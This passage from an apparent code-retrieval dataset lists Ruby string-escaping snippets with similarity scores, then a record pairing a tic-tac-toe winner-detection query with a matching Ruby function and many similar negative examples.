"def decode_json_scrp\n self\n .gsub('\\u0022', '\"')\n .gsub('\\u00E0', \"à\")\n .gsub('\\u00E2', \"â\")\n .gsub('\\u00E8', \"è\")\n .gsub('\\u00E9', \"é\")\n .gsub('\\u00E7', \"ç\")\n .gsub('\\u00F9', \"ù\")\n .gsub('\\u0026', \"&\")\n .gsub('\\u20AC', \"€\")\n .gsub('\\u0027', \"'\")\n .gsub('\\u00A0', \"\")\n .gsub('\\u00C8', \"È\")\n .gsub('\\u00B2', \"²\")\n .gsub('\\u00C9', \"É\")\n .gsub('\\\\\"', '\"')\n end",
"def escape(str)\n str.dump\n end",
"def escape_string(str)\n return if str.nil?\n str.gsub(/[\\0\\n\\r\\\\\\'\\\"\\x1a]/) do |s|\n case s\n when \"\\0\" then \"\\\\0\"\n when \"\\n\" then \"\\\\n\"\n when \"\\r\" then \"\\\\r\"\n when \"\\x1a\" then \"\\\\Z\"\n else \"\\\\#{s}\"\n end\n end\nend",
"def escape(string)\n string.gsub('\\\\', '\\\\\\\\').\n gsub(\"\\b\", '\\\\b').\n gsub(\"\\f\", '\\\\f').\n gsub(\"\\t\", '\\\\t').\n gsub(\"\\n\", '\\\\n').\n gsub(\"\\r\", '\\\\r').\n gsub('\"', '\\\\\"')\n end",
"def lex_en_interp_backslash_delimited_words; end",
"def lex_en_interp_backslash_delimited_words; end",
"def lex_en_interp_backslash_delimited_words; end",
"def h(text)\n text.to_s.gsub(/(\\W)/, '\\\\\\\\\\1')\n end",
"def _raw(string)\n ::Hanami::Utils::Escape::SafeString.new(string)\n end",
"def escape(stream = '')\n return stream if absent?(stream)\n\n stream.gsub(/\\e/, '\\\\e')\n end",
"def escape_for_double_quotes(str)\n str.gsub(/[\\\\\"`$]/) { |c| \"\\\\#{c}\" }\nend",
"def escape_js_string\n gsub(/([\"\\\\])/, '\\\\\\1').\n gsub(\"\\n\", '\\\\n')\n end",
"def escape(s)\n s.gsub('\"', '\\\"')\nend",
"def json_with_speedy_arrays(source)\n source.to_json.gsub('\"[[[','[[[').gsub(']]]\"', ']]]').html_safe #.gsub('\\\\', '')\n end",
"def escape_text_delim\n return '\"' if text_delim == \"\\'\"\n \"\\'\"\n end",
"def format_message(message) # :nodoc:\n msg = message.gsub(/(\\r|\\n|\\r\\n)/, '<br>')\n msg.gsub(/[{}\\\\\"]/, \"\\\\\\\\\\\\0\") # oh dear\n end",
"def lex_en_interp_backslash_delimited=(_arg0); end",
"def lex_en_interp_backslash_delimited=(_arg0); end",
"def lex_en_interp_backslash_delimited=(_arg0); end",
"def escape(string)\n #This is a stub, used for indexing\n end",
"def backslash!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 15 )\n\n type = BACKSLASH\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 149:4: '\\\\\\\\'\n match( 0x5c )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 15 )\n\n end",
"def e_sh(str)\n str.to_s.gsub(/(?=[^a-zA-Z0-9_.\\/\\-\\x7F-\\xFF\\n])/n, '\\\\').gsub(/\\n/, \"'\\n'\").sub(/^$/, \"''\")\nend",
"def escape(str)\n str.dump[1..-2]\nend",
"def escape_javascript(raw)\n if raw\n quote = raw.count(%{'}) >= raw.count(%{\"}) ? %{\"} : %{'}\n escaped = raw.gsub(/(\\\\|\\r\\n|[\\n\\r#{quote}])/u) {|match| JS_ESCAPE_MAP[match] }\n \"#{quote}#{escaped}#{quote}\"\n else\n '\"\"'\n end\n end",
"def hacer_json_valido(json)\n \n if (json.chars.first =='{' && json.chars.last=='}')\n json.insert(0,\"[\")\n json.append(\"]\")\n end\n \n return json\n\n end",
"def shell_escape\n inspect.gsub(/\\\\(\\d{3})/) { $1.to_i(8).chr }\n end",
"def unescape_newlines(content)\n content.gsub('\\n', \"\\n\")\n end",
"def escape_single_quotes(str)\n str.gsub(\"'\", '\\\\\\\\\\'')\nend",
"def escape_query(query)\n # backslash escape doesn't seem to work\n #query.gsub(/([\\\\\\(\\)\\:])/) do |match|\n # \"\\\\#{$1}\"\n #end\n query.gsub(/([\\\\\\(\\)\\:])/, ' ')\n end",
"def lex_en_plain_backslash_delimited_words; end",
"def lex_en_plain_backslash_delimited_words; end",
"def lex_en_plain_backslash_delimited_words; end",
"def escape_shell_special_chars(string)\n string.gsub(/([ ()])/, '\\\\\\\\\\1')\n end",
"def escape_double_quotes\r\n return self.gsub('\"', '\\\"')\r\n end",
"def escape_quotes input\n\t\tinput.gsub!(/([\\'\\\"])/,\"\\\\\\1\") #single quote\n\t\t\n\t\treturn input\n\tend",
"def parse_smart_quotes; end",
"def encode_backslash_escapes( str )\n\t\t\t# Make a copy with any double-escaped backslashes encoded\n\t\t\ttext = str.gsub( /\\\\\\\\/, EscapeTable['\\\\\\\\'][:md5] )\n\n\t\t\tEscapeTable.each_pair {|char, esc|\n\t\t\t\tnext if char == '\\\\\\\\'\n\t\t\t\tnext unless char =~ /\\\\./\n\t\t\t\ttext.gsub!( esc[:re], esc[:md5] )\n\t\t\t}\n\n\t\t\treturn text\n\t\tend",
"def escape_javascript(raw)\n if raw\n quote = raw.count(%{'}) >= raw.count(%{\"}) ? %{\"} : %{'}\n escaped = raw.gsub(/(\\\\|\\r\\n|[\\n\\r#{quote}])/u) {|match| JS_ESCAPE_MAP[match] }\n \"#{quote}#{escaped}#{quote}\"\n else\n '\"\"'\n end\n end",
"def raw_json\n @raw_json ||= @content.gsub(/---(.|\\n)*---/, '')\n end",
"def unicode_esc!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 9 )\n\n \n # - - - - main rule block - - - -\n # at line 309:9: '\\\\\\\\' 'u' HEX_DIGIT HEX_DIGIT HEX_DIGIT HEX_DIGIT\n match( 0x5c )\n match( 0x75 )\n hex_digit!\n hex_digit!\n hex_digit!\n hex_digit!\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 9 )\n\n end",
"def putd_backslash str\n putd(str + \" \\\\\")\nend",
"def fix_malformed_json(malformed_json)\n return malformed_json.gsub(/([a-z][a-zA-Z0-9_]+):(?!\\s)/, '\"\\1\":')\n end",
"def escaped_course\n scaped = course.gsub(\"\\\\\", \"\\\\\\\\\\\\\")\n scaped = scaped.gsub('\"', \"\\\"\")\n scaped = scaped.gsub(\"'\", \"\\'\")\n end",
"def convert_json_to_yaml(json) #:nodoc:\n require 'strscan' unless defined? ::StringScanner\n scanner, quoting, marks, pos = ::StringScanner.new(json), false, [], nil\n scanner.scan_until(/\\{/)\n while scanner.scan_until(/(\\\\['\"]|['\":,\\\\]|\\\\.)/)\n case char = scanner[1]\n when '\"', \"'\"\n if !quoting\n quoting = char\n pos = scanner.pos\n elsif quoting == char\n quoting = false\n end\n when \":\",\",\"\n marks << scanner.pos - 1 unless quoting\n when \"\\\\\"\n scanner.skip(/\\\\/)\n end\n end\n raise parse_error unless scanner.scan_until(/\\}/)\n\n if marks.empty?\n raise parse_error\n else\n left_pos = [-1].push(*marks)\n right_pos = marks << scanner.pos + scanner.rest_size\n output = []\n left_pos.each_with_index do |left, i|\n scanner.pos = left.succ\n chunk = scanner.peek(right_pos[i] - scanner.pos + 1)\n chunk.gsub!(/\\\\([\\\\\\/]|u[[:xdigit:]]{4})/) do\n ustr = $1\n if ustr.index('u') == 0\n [ustr[1..-1].to_i(16)].pack(\"U\")\n elsif ustr == '\\\\'\n '\\\\\\\\'\n else\n ustr\n end\n end\n output << chunk\n end\n output = output * \" \"\n\n output.gsub!(/\\\\\\//, '/')\n output\n end\n end"
] |
[
"0.72216874",
"0.71969855",
"0.68390673",
"0.6488732",
"0.6488732",
"0.6375361",
"0.6349221",
"0.6316618",
"0.62304336",
"0.6212158",
"0.61774135",
"0.6176177",
"0.6167906",
"0.61417544",
"0.61411434",
"0.61411434",
"0.61411434",
"0.6136487",
"0.6136487",
"0.6136487",
"0.6118634",
"0.6113663",
"0.60787165",
"0.5999485",
"0.59959954",
"0.59832263",
"0.59710765",
"0.59612304",
"0.59599113",
"0.5936277",
"0.59276694",
"0.59240186",
"0.59207565",
"0.5909148",
"0.5896738",
"0.5871544",
"0.5868326",
"0.58514714",
"0.5834348",
"0.5830121",
"0.58210284",
"0.5813698",
"0.57985145",
"0.5796927",
"0.579272",
"0.57806325",
"0.5775326",
"0.5775326",
"0.5775326",
"0.5769423",
"0.5756267",
"0.5752845",
"0.5749319",
"0.57477593",
"0.5739353",
"0.57390964",
"0.57353234",
"0.5689076",
"0.56872094",
"0.5673101",
"0.5671969",
"0.5671969",
"0.5671969",
"0.56555855",
"0.5640669",
"0.5635143",
"0.5629103",
"0.56257737",
"0.5597967",
"0.5591912",
"0.5581562",
"0.5579061",
"0.5576166",
"0.5576166",
"0.5576166",
"0.55759233",
"0.55632174",
"0.55530286",
"0.554265",
"0.55223936",
"0.55180603",
"0.551598",
"0.54804677",
"0.5474874",
"0.5453323",
"0.5446776",
"0.5446776",
"0.5446776",
"0.5440497",
"0.5439877",
"0.54355764",
"0.54164577",
"0.54123974",
"0.5409458",
"0.54053396",
"0.54005915",
"0.53896767",
"0.53778666",
"0.53738254",
"0.53699696"
] |
0.6614677
|
3
|
given the game state as a string (0 represent empty grid, 1 represent X and 2 represent O) determine if the game has a winner by connection a row, column or diagonal outputs either the name of player1 or player2, if the game has no winner return nil
|
def checkWinner(state, player1, player2)
for i in 0..2
row_candidate = true
column_candidate = true
for j in 1..2
# check rows
if state[i * 3 + j] == '0' || state[i * 3 + j] != state[i * 3 + j - 1] then
row_candidate = false
elsif row_candidate && state[i * 3 + j] == state[i * 3 + j - 1] then
if j == 2 then
winner = if state[i * 3 + j] == '1' then player1 else player2 end
return winner
end
end
# check columns
if state[j * 3 + i] == '0' || state[j * 3 + i] != state[(j - 1) * 3 + i] then
column_candidate = false
elsif column_candidate && state[j * 3 + i] == state[(j - 1) * 3 + i] then
if j == 2 then
winner = if state[j * 3 + i] == '1' then player1 else player2 end
return winner
end
end
end
end
# check diagonals
if state[0] == state[4] && state[4] == state[8] && state[0] != '0' then
winner = if state[0] == '1' then player1 else player2 end
return winner
end
if state[2] == state[4] && state[4] == state[6] && state[2] != '0' then
winner = if state[2] == '1' then player1 else player2 end
return winner
end
return nil
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def winner\n [\n [[0,0],[0,1],[0,2]], # column 0\n [[1,0],[1,1],[1,2]], # column 1\n [[2,0],[2,1],[2,2]], # column 2\n [[0,0],[1,0],[2,0]], # row 0\n [[0,1],[1,1],[2,1]], # row 1\n [[0,2],[1,2],[2,2]], # row 2\n [[0,0],[1,1],[2,2]], # descending diagonal\n [[0,2],[1,1],[2,0]], # ascending diagonal\n ].each do |cells|\n vals = cells.map {|x, y| board[y][x] }\n return :x if vals == %w( X X X )\n return :o if vals == %w( O O O )\n end \n return nil\n end",
"def winner\n (rows + cols + diagonals).each do |triple|\n return :x if triple == [:x, :x, :x]\n return :o if triple == [:o, :o, :o]\n end\n \n nil\n end",
"def winner\n index = won?\n if index && @board.cells[index[0]] == \"X\"\n return \"X\"\n elsif index && @board.cells[index[0]] == \"O\"\n return \"O\"\n else\n return nil\n end\n end",
"def winner?(board)\n WINNING_LINES.each do |line|\n if board[line[0]] == 'X' && board[line[1]] == 'X' && board[line[2]] == 'X'\n return 'Player'\n elsif board[line[0]] == 'O' && board[line[1]] == 'O' && board[line[2]] == 'O'\n return 'Computer'\n end # end if \n end #end do\n return nil\nend",
"def winner_player2\n if @board.A1 == \"O \" && @board.A2 == \"O \" && @board.A3 == \"O \"\n return true \n elsif @board.B1 == \"O \" && @board.B2 == \"O \" && @board.B3 == \"O \"\n return true\n elsif @board.C1 == \"O \" && @board.C2 == \"O \" && @board.C3 == \"O \"\n return true\n elsif @board.A1 == \"O \" && @board.B1 == \"O \" && @board.C1 == \"O \"\n return true\n elsif @board.A2 == \"O \" && @board.B2 == \"O \" && @board.C2 == \"O \"\n return true\n elsif @board.A3 == \"O \" && @board.B3 == \"O \" && @board.C3 == \"O \"\n return true \n elsif @board.A1 == \"O \" && @board.B2 == \"O \" && @board.C3 == \"O \"\n return true\n elsif @board.A3 == \"O \" && @board.B2 == \"O \" && @board.C1 == \"O \"\n return true \n else\n return false\n end\n end",
"def winner\n [rows, columns, diagonals].each do |groups|\n win_groups = groups.select { |g| g.all? && g.uniq.size == 1 }\n return [@human_player, @computer_player].find { |p| p.to_s == win_groups[0][0] } if !win_groups.empty?\n end\n nil\n end",
"def winner\n (@rows + cols + diagonals).each do |row|\n return :x if row.all? { |mark| mark == :x }\n return :o if row.all? { |mark| mark == :o }\n end\n \n nil\n end",
"def winner_player1\n if @board.A1 == \"X \" && @board.A2 == \"X \" && @board.A3 == \"X \"\n return true \n elsif @board.B1 == \"X \" && @board.B2 == \"X \" && @board.B3 == \"X \"\n return true\n elsif @board.C1 == \"X \" && @board.C2 == \"X \" && @board.C3 == \"X \"\n return true\n elsif @board.A1 == \"X \" && @board.B1 == \"X \" && @board.C1 == \"X \"\n return true\n elsif @board.A2 == \"X \" && @board.B2 == \"X \" && @board.C2 == \"X \"\n return true\n elsif @board.A3 == \"X \" && @board.B3 == \"X \" && @board.C3 == \"X \"\n return true \n elsif @board.A1 == \"X \" && @board.B2 == \"X \" && @board.C3 == \"X \"\n return true\n elsif @board.A3 == \"X \" && @board.B2 == \"X \" && @board.C1 == \"X \"\n return true \n else\n return false\n end\nend",
"def find_winner(board)\n WINNING_ROWS.each do |line|\n return \"Player\" if board.values_at(*line).count('X') == 3\n return \"Computer\" if board.values_at(*line).count('O') == 3\n end\n nil\nend",
"def winner\n # shortcut for less typing\n b = @board\n\n # rows\n return b[0] if b[0] == b[1] && b[1] == b[2]\n return b[3] if b[3] == b[4] && b[4] == b[5]\n return b[6] if b[6] == b[7] && b[7] == b[8]\n\n # cols\n return b[0] if b[0] == b[3] && b[3] == b[6]\n return b[1] if b[1] == b[4] && b[4] == b[7]\n return b[2] if b[2] == b[5] && b[5] == b[8]\n\n # diagonals\n return b[4] if b[0] == b[4] && b[4] == b[8]\n return b[4] if b[2] == b[4] && b[4] == b[6]\n\n end",
"def winner(board)\n if won?(board) && board[won?(board)[0]] == \"X\"\n return \"X\"\n elsif won?(board) && board[won?(board)[0]] == \"O\"\n return \"O\"\n end\nend",
"def winner(board)\n # returns X when X won, O when O won and nill when there is no winner\n if (draw?(board) || !full?(board)) && !won?(board)\n return nil\n elsif (board[won?(board)[0]] == \"X\")\n return \"X\"\n elsif (board[won?(board)[0]] == \"O\")\n return \"O\"\n end\nend",
"def winner\n win_combination = won?\n if win_combination == false\n nil\n elsif @board.cells[win_combination[0]] == \"X\"\n return \"X\"\n elsif @board.cells[win_combination[0]] == \"O\"\n return \"O\"\n end\n end",
"def winner\n won = won?()\n if won != false\n if @board[won[0]] == \"X\"\n return \"X\"\n elsif @board[won[0]] == \"O\"\n return \"O\"\n end\n else\n return nil\n end\n end",
"def winner?\n\t\t if( \n\t\t\t\t([@grid[0], @grid[1], @grid[2]].uniq.length == 1 && @grid[0] != \" \") ||\n\t\t\t\t([@grid[0], @grid[3], @grid[6]].uniq.length == 1 && @grid[0] != \" \") ||\n\t\t\t\t([@grid[0], @grid[4], @grid[8]].uniq.length == 1 && @grid[0] != \" \") ||\n\t\t\t\t([@grid[6], @grid[7], @grid[8]].uniq.length == 1 && @grid[6] != \" \") ||\n\t\t\t\t([@grid[2], @grid[5], @grid[8]].uniq.length == 1 && @grid[2] != \" \") ||\n\t\t\t\t([@grid[2], @grid[4], @grid[6]].uniq.length == 1 && @grid[2] != \" \") ||\n\t\t\t\t([@grid[1], @grid[4], @grid[7]].uniq.length == 1 && @grid[1] != \" \") ||\n\t\t\t\t([@grid[3], @grid[4], @grid[5]].uniq.length == 1 && @grid[3] != \" \")\n\t\t\t\t)\n\t\t\t\ttrue\n\t\t else\n\t\t\t\tfalse\n\t\t end\n\t\tend",
"def winner\n row_winners = rows.select{|r| identical_symbols(r)}.map{|r| r[0]}\n column_winners = columns.select{|c| identical_symbols(c)}.map{|c| c[0]}\n diagonal_winners = diagonals.select{|d| identical_symbols(d)}.map{|d| d[0]}\n winners = (row_winners + column_winners + diagonal_winners).uniq - %w(_)\n players = winners.map{|w| to_player_number(w)}\n players[0] # this would default to nil if players is empty\n end",
"def check_for_winner\n winning_spaces_filled = WINNING_SPACES.map {|space| @active_spaces[space[0]] + @active_spaces[space[1]] + @active_spaces[space[2]]}\n if winning_spaces_filled.include?(\"OOO\")\n \"Computer\"\n elsif winning_spaces_filled.include?(\"XXX\")\n \"Player\"\n end\n end",
"def winner(board)\n # index = won?(board).pop\n if won?(board) == nil\n nil\n elsif board[won?(board)[0]] == \"X\"\n \"X\"\n elsif board[won?(board)[0]] == \"O\"\n \"O\"\n end\nend",
"def winner()\n if won?()\n win = won?()\n if @board[win[0]] == \"X\"\n return \"X\"\n elsif @board[win[0]] == \"O\"\n return \"O\"\n else @board[win[0]] != \"X\" && @board[win[0]] != \"O\" #srsly..this is like ducttape over a huge hole\n return nil\n end\n end\nend",
"def winner(board)\n wincombo = won?(board)\n if wincombo === nil\n return nil\n elsif board[wincombo[0]] == \"X\"\n return \"X\"\n elsif board[wincombo[0]] == \"O\"\n return \"O\"\n end\nend",
"def detect_winner(brd)\n Board::WINNING_LINES.each do |line|\n if brd.position_values[line[0]] == Board::PLAYER_MARKER &&\n brd.position_values[line[1]] == Board::PLAYER_MARKER &&\n brd.position_values[line[2]] == Board::PLAYER_MARKER\n return 'Player'\n elsif brd.position_values[line[0]] == Board::CPU_MARKER &&\n brd.position_values[line[1]] == Board::CPU_MARKER &&\n brd.position_values[line[2]] == Board::CPU_MARKER\n return 'CPU'\n end\n end\n nil\n end",
"def winner(board)\n won = won?(board)\n if won != false\n if board[won[0]] == \"X\"\n return \"X\"\n elsif board[won[0]] == \"O\"\n return \"O\"\n end\n else\n return nil\n end\nend",
"def check_columns_for_winner\n # @player = nil\n if board[0][0] == board[1][0] and board[1][0] == board[2][0] and not board[0][0] == nil\n @player = board[0][0]\n elsif board[0][1] == board[1][1] and board[1][1] == board[2][1] and not board[0][1] == nil\n @player = board[0][1]\n elsif board[0][2] == board[1][2] and board[1][2] == board[2][2] and not board[0][2] == nil\n @player = board[0][2]\n end\n end",
"def winner(board)\n win = won?(board)\n if (!win)\n return nil\n elsif (board[win[0]] == \"O\")\n return \"O\"\n else\n return \"X\"\n end\nend",
"def winner\n if won? == false\n return nil\n end\n\n a = won?\n\n if @board[a[0]] == \"X\"\n return \"X\"\n else \n return \"O\"\n end\nend",
"def winner(board)\n if !(won?(board))\n return nil\n elsif won?(board).all?{|element| board[element] == \"X\"}\n return \"X\"\n elsif won?(board).all?{|element| board[element] == \"O\"}\n return \"O\"\n end\nend",
"def won?\n #diagonals first\n has_left_diagonal = true\n has_right_diagonal = true\n (1..@board.length-1).each do |i|\n has_left_diagonal = false unless @board[i][i] == @board[0][0]\n has_right_diagonal = false unless @board[i][-1-i] == @board[0][-1]\n end\n return @board[0][0] if has_left_diagonal\n return @board[-1][0] if has_right_diagonal\n \n #check rows\n (0..@board.length-1).each do |i|\n #slightly more concise but costly ( O(n^2) per uniq ) than a manual check\n return @board[i][0] if @board[i].uniq.length == 1\n end\n \n #check columns\n (0..@board.length-1).each do |i|\n player = @board[0][i]\n has_column = true\n (1..@board.length-1).each do |j|\n has_column = false unless @board[j][i] == player\n end\n return player if has_column\n end\n \n return 0\n end",
"def winner(board)\n WIN_COMBINATIONS.each do |win|\n if [board[win[0]], board[win[1]], board[win[2]]] == [\"X\", \"X\", \"X\"]\n return \"X\"\n elsif [board[win[0]], board[win[1]], board[win[2]]] == [\"O\", \"O\", \"O\"]\n return \"O\"\n end\n end\n return nil\nend",
"def someoneWin?\n player = nil\n @@winCases.each { |a|\n player = @board[a[0]]\n if (player != \" \") && (@board[a[0]] == @board[a[1]]) && (@board[a[1]] == @board[a[2]])\n (0..2).each { |n| @board[a[n]].upcase! }\n puts \"We have a WINNER! ----> \" + player\n return player\n end\n }\n return false\n end",
"def winner(board)\n\n if won?(board) != nil\n winner_arr_firstindex = won?(board)[0]\n if board[winner_arr_firstindex] == \"X\"\n return \"X\"\n elsif board[winner_arr_firstindex] == \"O\"\n return \"O\"\n end\n end\n\nend",
"def winner\n won? ? board.cells[won?[0]] : nil\n end",
"def player_or_computer(board, winner)\n return nil if board[winner] == BLANK_SQUARE\n if board[winner] == PLAYER_PIECE\n return 'You win!'\n else\n return 'Computer wins!'\n end\nend",
"def winner\n\n # Check every row\n winner = winner_rows()\n\n # Winner?\n if winner\n\n # Yes, the game is over\n return winner\n\n end\n\n # No row winner, so check every column\n winner = winner_columns()\n\n # Winner?\n if winner\n\n # Yes, the game is over\n return winner\n\n end\n\n # No row or column winner, so check every diagonal\n winner = winner_diagonals()\n\n # Winner?\n if winner\n\n # Yes, the game is over\n return winner\n\n end\n\n # Otherwise, no winner\n return\n\n end",
"def winner\n won = \"\"\n if winner = won?\n won = @board[winner.first]\n end\n end",
"def check_results(player)\r\n \r\n winner = \"\" #Assign a default value\r\n \r\n #Check vertically\r\n winner = player if $A1 == player && $A2 == player &&\r\n $A3 == player\r\n winner = player if $B1 == player && $B2 == player &&\r\n $B3 == player\r\n winner = player if $C1 == player && $C2 == player &&\r\n $C3 == player\r\n\r\n #Check horizontally\r\n winner = player if $A1 == player && $B1 == player &&\r\n $C1 == player\r\n winner = player if $A2 == player && $B2 == player &&\r\n $C2 == player\r\n winner = player if $A3 == player && $B3 == player &&\r\n $C3 == player\r\n \r\n #check diagonally\r\n winner = player if $A1 == player && $B2 == player &&\r\n $C3 == player \r\n winner = player if $A3 == player && $B2 == player &&\r\n $C1 == player \r\n \r\n return winner #Return the result back to the calling\r\n #statement\r\n \r\n end",
"def winner(board)\n save = won?(board)\n if save == false\n return nil\n end\n if board[save[0]] == \"X\"\n return \"X\"\n elsif board[save[0]] == \"O\"\n return \"O\"\n end\n end",
"def winner(board)\n #setting the index of the win into a variable, win\n win = won?(board)\n #now returning nil if there is no winner\n if won?(board) == false\n return nil\n #all indexes should have the same token for a win, so we're only checking the first\n elsif board[win[0]] == \"X\" && won?(board) != false\n return \"X\"\n elsif board[win[0]] == \"O\" && won?(board) != false\n return \"O\"\n end\nend",
"def winner\n triplet = won?\n if !!triplet\n return @board[triplet[0]]\n end\n return nil\n end",
"def winner\n if check_rows_for_winner || check_columns_for_winner || check_diagonals_for_winner\n return @player\n else\n return nil\n end\n end",
"def winner(board)\n \n if (won?(board) == FALSE)\n return NIL\n end\n \n winning_combination = won?(board)\n win_player = board[winning_combination[0]]\n \n if (win_player == \"X\")\n return \"X\"\n else \n return \"O\"\n end\nend",
"def detect_winner(brd)\n WINNING_LINES.each do |line|\n if brd.values_at(*line).count(PLAYER_MARKER) == 3\n return 'Player'\n elsif brd.values_at(*line).count(COMPUTER_MARKER) == 3\n return 'Computer'\n end\n end\n nil\nend",
"def winner(board)\n WIN_COMBINATIONS.each do |combo|\n if board[combo[0]] == \"X\" && board[combo[1]] == \"X\" && board[combo[2]] == \"X\"\n return \"X\"\n elsif board[combo[0]] == \"O\" && board[combo[1]] == \"O\" && board[combo[2]] == \"O\"\n return \"O\"\n else\n end\n end\n return nil\nend",
"def check_rows\n row_winner = nil\n\n # joins row and checks iteration count of x or o in strings to find winner\n @board.each do |row|\n row_str = row.join\n if row_str.count('x') == @board.size\n row_winner = 'x'\n elsif row_str.count('o') == @board.size\n row_winner = 'o'\n end\n end\n\n row_winner\n end",
"def detect_winner(board)\n WINNING_LINES.each do |line|\n if board.values_at(*line).count('X') == 2\n return 'X'\n elsif board.values_at(*line).count('O') == 2\n return 'O'\n end\n end\n nil\nend",
"def win\n # horizontal win\n winner = horizontal_win?\n if winner\n victory(winner)\n return winner\n end\n\n # Vertical win (way harder to test for)\n winner = vertical_win?\n if winner\n victory(winner)\n return winner\n end\n\n # Diagonal win\n winner = diagonal_win?\n if winner\n victory(winner)\n return winner\n end\n\n # If the board is full and there are no declared winners\n\n if full?\n victory(\"Nobody\")\n return \"tie\"\n end\n return false\n end",
"def get_state()\n winner = check_vertical_line()\n if(winner != nil)\n return get_layer_or_ia(winner)\n end \n winner = check_horizontal_line()\n if(winner != nil)\n return get_layer_or_ia(winner)\n end \n winner = check_diagonal_line()\n if(winner != nil)\n return get_layer_or_ia(winner)\n end \n if(get_empty_space.length == 0)\n return \"draw\"\n end\n return \"none\" \n end",
"def winner\n\t\tvictor = false\n\t\tvictor = \"Player1\" unless @board.on_board? player2.tokens[-1][0].position\n\t\tvictor = \"Player2\" unless @board.on_board? player1.tokens[-1][0].position\n\t\tvictor\n\tend",
"def check_rows_for_winner\n\n if board[0][0] == board[0][2] and board[0][1] == board[0][2] and not board[0][1] == nil\n @player = board[0][0]\n elsif board[1][0] == board[1][2] and board[1][1] == board[1][2] and not board[1][1] == nil\n @player = board[1][1]\n elsif board[2][0] == board[2][2] and board[2][1] == board[2][2] and not board[2][1] == nil\n @player = board[2][2]\n end\n end",
"def check_diagonals\n diagonal_winner = nil\n # stores the markers\n backward_diagonal = ''\n forward_diagonal = ''\n\n # for a diagonal to be a winner it takes the row[n], row[n+1], row[n+2] and so on..\n @board.each_with_index do |row,index|\n\n # check if left to right diagonal is a winner\n row.each_with_index do |marker, position|\n if position == index\n backward_diagonal += marker\n end\n end\n\n # check if right to left diagonal is a winner\n reversed_row = row.reverse\n reversed_row.each_with_index do |marker, position|\n if position == index\n forward_diagonal += marker\n end\n end\n end\n\n # checks iteration count of x or o in strings to find winner\n if backward_diagonal.count('x') == @board.size || forward_diagonal.count('x') == @board.size\n diagonal_winner = 'x'\n elsif backward_diagonal.count('o') == @board.size || forward_diagonal.count('o') == @board.size\n diagonal_winner = 'o'\n end\n\n diagonal_winner\n end",
"def winner\nsub_array = won?\n if won? == false\n return nil\n elsif @board[sub_array[1]] == \"X\"\n return \"X\"\n elsif @board[sub_array[1]] == \"O\"\n return \"O\"\nend\nend",
"def check_winner b, player\n winning_lines = [ [1,2,3],\n [4,5,6],\n [7,8,9],\n [1,4,7], \n [2,5,8],\n [3,6,9],\n [1,5,9],\n [3,5,7] ]\n\n winning_lines.each do |line|\n return \"#{player}\" if (b[line[0]] == \"X\" && b[line[1]] == \"X\" && b[line[2]] == \"X\")\n return \"Computer\" if (b[line[0]] == \"O\" && b[line[1]] == \"O\" && b[line[2]] == \"O\")\n end\n nil\nend",
"def winner_columns\n\n # Outer loop to look for a winner down the column\n for column in 0..BOARD_MAXIMUM_INDEX\n\n # Get the player symbol (X or O) that must match\n first_symbol = @board[0][column]\n\n # Inner loop to look at all elements in this column's rows\n for row in 1..BOARD_MAXIMUM_INDEX\n\n # Does this cell match the first symbol?\n if first_symbol != @board[row][column]\n\n # No, this column IS NOT a winning combination\n break\n\n # At the end of this column and not all empty?\n elsif row == BOARD_MAXIMUM_INDEX and first_symbol != EMPTY_POSITION\n\n # Yes, this column IS a winning combination\n return first_symbol\n\n end\n\n end\n\n end\n\n # Nope, no winner in any columns\n return\n\n end",
"def winner\n WIN_COMBINATIONS.detect do |win_combo|\n if (@board[win_combo[0]]) == \"X\" && (@board[win_combo[1]]) == \"X\" && (@board[win_combo[2]]) == \"X\"\n return \"X\"\n elsif (@board[win_combo[0]]) == \"O\" && (@board[win_combo[1]]) == \"O\" && (@board[win_combo[2]]) == \"O\"\n return \"O\"\n else\n nil\n end\n end\n end",
"def winner\n win_combo = won?\n if win_combo\n @board[win_combo[0]] # == 'X' || 'O'\n else\n nil\n end\n end",
"def winner(board)\n if won?(board)\n position = won?(board)\n if board[position[0]] == \"X\"\n return \"X\"\n else\n return \"O\"\n end\n end\nend",
"def winner\n WIN_COMBINATIONS.detect do |win_combo|\n if (@board[win_combo[0]]) == \"X\" && (@board[win_combo[1]]) == \"X\" && (@board[win_combo[2]]) == \"X\"\n return \"X\"\n elsif (@board[win_combo[0]]) == \"O\" && (@board[win_combo[1]]) == \"O\" && (@board[win_combo[2]]) == \"O\"\n return \"O\"\n else\n nil\n end\n end\n end",
"def winner\n no_combinations = true\n WIN_COMBINATIONS.each do |combination|\n if combination1 = @board[combination[0]] == \"X\" && @board[combination[1]] == \"X\" && @board[combination[2]] == \"X\"\n no_combinations = false\n return \"X\"\n elsif combination2 = @board[combination[0]] == \"O\" && @board[combination[1]] == \"O\" && @board[combination[2]] == \"O\"\n no_combinations = false\n return \"O\"\n end\n end\n if no_combinations == true\n return nil\n end\n end",
"def winner\n if won = won?\n board.cells[won.first]\n end\n #won? == false ? nil : @board.cells[winner[0]];\n end",
"def winner_diagonals\n\n # Start at the top left, get the player symbol (X or O) to match\n first_symbol = @board[0][0]\n\n # Traverse the diagonal from top left to bottom right\n for index in 1..BOARD_MAXIMUM_INDEX\n\n # Does this cell match the first symbol?\n if first_symbol != @board[index][index]\n\n # No, this diagonal IS NOT a winning combination\n break\n\n # At the end of this diagonal and not all empty?\n elsif index == BOARD_MAXIMUM_INDEX and first_symbol != EMPTY_POSITION\n\n # Yes, this diagonal IS a winning combination\n return first_symbol\n\n end\n\n end\n\n # Start at the top right, get the player symbol (X or O) to match\n row = 0 # Top\n column = BOARD_MAXIMUM_INDEX # Right\n first_symbol = @board[row][column]\n\n # Loop through each row (backwards diagonal)\n while row < BOARD_MAXIMUM_INDEX\n \n row += 1 # Down to the next row\n column -= 1 # Left to the next column\n\n # Does this cell match the first symbol?\n if first_symbol != @board[row][column]\n\n # No, this diagonal IS NOT a winning combination\n break\n\n # At the end of this diagonal and not all empty?\n elsif row == BOARD_MAXIMUM_INDEX and first_symbol != EMPTY_POSITION\n\n # Yes, 